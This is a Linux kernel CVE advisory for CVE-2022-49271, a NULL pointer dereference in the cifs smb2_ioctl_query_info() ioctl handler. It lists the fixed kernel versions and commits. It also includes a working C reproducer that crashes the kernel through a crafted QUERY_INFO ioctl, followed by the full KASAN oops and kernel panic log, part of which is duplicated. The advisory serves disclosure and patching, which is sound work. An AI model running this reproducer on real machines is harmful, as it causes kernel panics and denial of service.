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Message-ID: <2025022630-CVE-2022-49271-55c9@gregkh>
Date: Wed, 26 Feb 2025 02:57:56 +0100
From: Greg Kroah-Hartman <gregkh@...uxfoundation.org>
To: linux-cve-announce@...r.kernel.org
Cc: Greg Kroah-Hartman <gregkh@...uxfoundation.org>
Subject: CVE-2022-49271: cifs: prevent bad output lengths in smb2_ioctl_query_info()
Description
===========
In the Linux kernel, the following vulnerability has been resolved:
cifs: prevent bad output lengths in smb2_ioctl_query_info()
When calling smb2_ioctl_query_info() with
smb_query_info::flags=PASSTHRU_FSCTL and
smb_query_info::output_buffer_length=0, the following would return
0x10
buffer = memdup_user(arg + sizeof(struct smb_query_info),
qi.output_buffer_length);
if (IS_ERR(buffer)) {
kfree(vars);
return PTR_ERR(buffer);
}
rather than a valid pointer thus making IS_ERR() check fail. This
would then cause a NULL ptr deference in @buffer when accessing it
later in smb2_ioctl_query_ioctl(). While at it, prevent having a
@buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO
FileEndOfFileInformation requests when
smb_query_info::flags=PASSTHRU_SET_INFO.
Here is a small C reproducer which triggers a NULL ptr in @buffer when
passing an invalid smb_query_info::flags
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#define die(s) perror(s), exit(1)
#define QUERY_INFO 0xc018cf07
int main(int argc, char *argv[])
{
int fd;
if (argc < 2)
exit(1);
fd = open(argv[1], O_RDONLY);
if (fd == -1)
die("open");
if (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1)
die("ioctl");
close(fd);
return 0;
}
mount.cifs //srv/share /mnt -o ...
gcc repro.c && ./a.out /mnt/f0
[ 114.138620] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI
[ 114.139310] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
[ 114.139775] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 #1
[ 114.140148] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014
[ 114.140818] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs]
[ 114.141221] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24
[ 114.142348] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256
[ 114.142692] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d
[ 114.143119] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380
[ 114.143544] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003
[ 114.143983] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288
[ 114.144424] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000
[ 114.144852] FS: 00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000
[ 114.145338] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 114.145692] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0
[ 114.146131] Call Trace:
[ 114.146291] <TASK>
[ 114.146432] ? smb2_query_reparse_tag+0x890/0x890 [cifs]
[ 114.146800] ? cifs_mapchar+0x460/0x460 [cifs]
[ 114.147121] ? rcu_read_lock_sched_held+0x3f/0x70
[ 114.147412] ? cifs_strndup_to_utf16+0x15b/0x250 [cifs]
[ 114.147775] ? dentry_path_raw+0xa6/0xf0
[ 114.148024] ? cifs_convert_path_to_utf16+0x198/0x220 [cifs]
[ 114.148413] ? smb2_check_message+0x1080/0x1080 [cifs]
[ 114.148766] ? rcu_read_lock_sched_held+0x3f/0x70
[ 114.149065] cifs_ioctl+0x1577/0x3320 [cifs]
[ 114.149371] ? lock_downgrade+0x6f0/0x6f0
[ 114.149631] ? cifs_readdir+0x2e60/0x2e60 [cifs]
[ 114.149956] ? rcu_read_lock_sched_held+0x3f/0x70
[ 114.150250] ? __rseq_handle_notify_resume+0x80b/0xbe0
[ 114.150562] ? __up_read+0x192/0x710
[ 114.150791] ? __ia32_sys_rseq+0xf0/0xf0
[ 114.151025] ? __x64_sys_openat+0x11f/0x1d0
[ 114.151296] __x64_sys_ioctl+0x127/0x190
[ 114.151549] do_syscall_64+0x3b/0x90
[ 114.151768] entry_SYSCALL_64_after_hwframe+0x44/0xae
[ 114.152079] RIP: 0033:0x7f7aead043df
[ 114.152306] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <41> 89 c0 3d 00 f0 ff ff 77 1f 48 8b 44 24 18 64 48 2b 04 25 28 00
[ 114.153431] RSP: 002b:00007ffc2e0c1f80 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[ 114.153890] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f7aead043df
[ 114.154315] RDX: 00007ffc2e0c1ff0 RSI: 00000000c018cf07 RDI: 0000000000000003
[ 114.154747] RBP: 00007ffc2e0c2010 R08: 00007f7aeae03db0 R09: 00007f7aeae24c4e
[ 114.155192] R10: 00007f7aeabf7d40 R11: 0000000000000246 R12: 00007ffc2e0c2128
[ 114.155642] R13: 0000000000401176 R14: 0000000000403df8 R15: 00007f7aeae57000
[ 114.156071] </TASK>
[ 114.156218] Modules linked in: cifs cifs_arc4 cifs_md4 bpf_preload
[ 114.156608] ---[ end trace 0000000000000000 ]---
[ 114.156898] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs]
[ 114.157792] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24
[ 114.159293] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256
[ 114.159641] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d
[ 114.160093] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380
[ 114.160699] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003
[ 114.161196] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288
[ 114.155642] R13: 0000000000401176 R14: 0000000000403df8 R15: 00007f7aeae57000
[ 114.156071] </TASK>
[ 114.156218] Modules linked in: cifs cifs_arc4 cifs_md4 bpf_preload
[ 114.156608] ---[ end trace 0000000000000000 ]---
[ 114.156898] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs]
[ 114.157792] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24
[ 114.159293] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256
[ 114.159641] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d
[ 114.160093] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380
[ 114.160699] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003
[ 114.161196] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288
[ 114.161823] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000
[ 114.162274] FS: 00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000
[ 114.162853] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 114.163218] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0
[ 114.163691] Kernel panic - not syncing: Fatal exception
[ 114.164087] Kernel Offset: disabled
[ 114.164316] ---[ end Kernel panic - not syncing: Fatal exception ]---
The Linux kernel CVE team has assigned CVE-2022-49271 to this issue.
Affected and fixed versions
===========================
Fixed in 5.10.110 with commit 9963ccea6087268e1275b992dca5d0dd4b938765
Fixed in 5.15.33 with commit f143f8334fb9eb2f6c7c15b9da1472d9c965fd84
Fixed in 5.16.19 with commit fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53
Fixed in 5.17.2 with commit 7529fbee10d82493c5cb109e51788bf74816d1c0
Fixed in 5.18 with commit b92e358757b91c2827af112cae9af513f26a3f34
Please see https://www.kernel.org for a full list of currently supported
kernel versions by the kernel community.
Unaffected versions might change over time as fixes are backported to
older supported kernel versions. The official CVE entry at
https://cve.org/CVERecord/?id=CVE-2022-49271
will be updated if fixes are backported, please check that for the most
up to date information about this issue.
Affected files
==============
The file(s) affected by this issue are:
fs/cifs/smb2ops.c
Mitigation
==========
The Linux kernel CVE team recommends that you update to the latest
stable kernel version for this, and many other bugfixes. Individual
changes are never tested alone, but rather are part of a larger kernel
release. Cherry-picking individual commits is not recommended or
supported by the Linux kernel community at all. If however, updating to
the latest release is impossible, the individual changes to resolve this
issue can be found at these commits:
https://git.kernel.org/stable/c/9963ccea6087268e1275b992dca5d0dd4b938765
https://git.kernel.org/stable/c/f143f8334fb9eb2f6c7c15b9da1472d9c965fd84
https://git.kernel.org/stable/c/fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53
https://git.kernel.org/stable/c/7529fbee10d82493c5cb109e51788bf74816d1c0
https://git.kernel.org/stable/c/b92e358757b91c2827af112cae9af513f26a3f34
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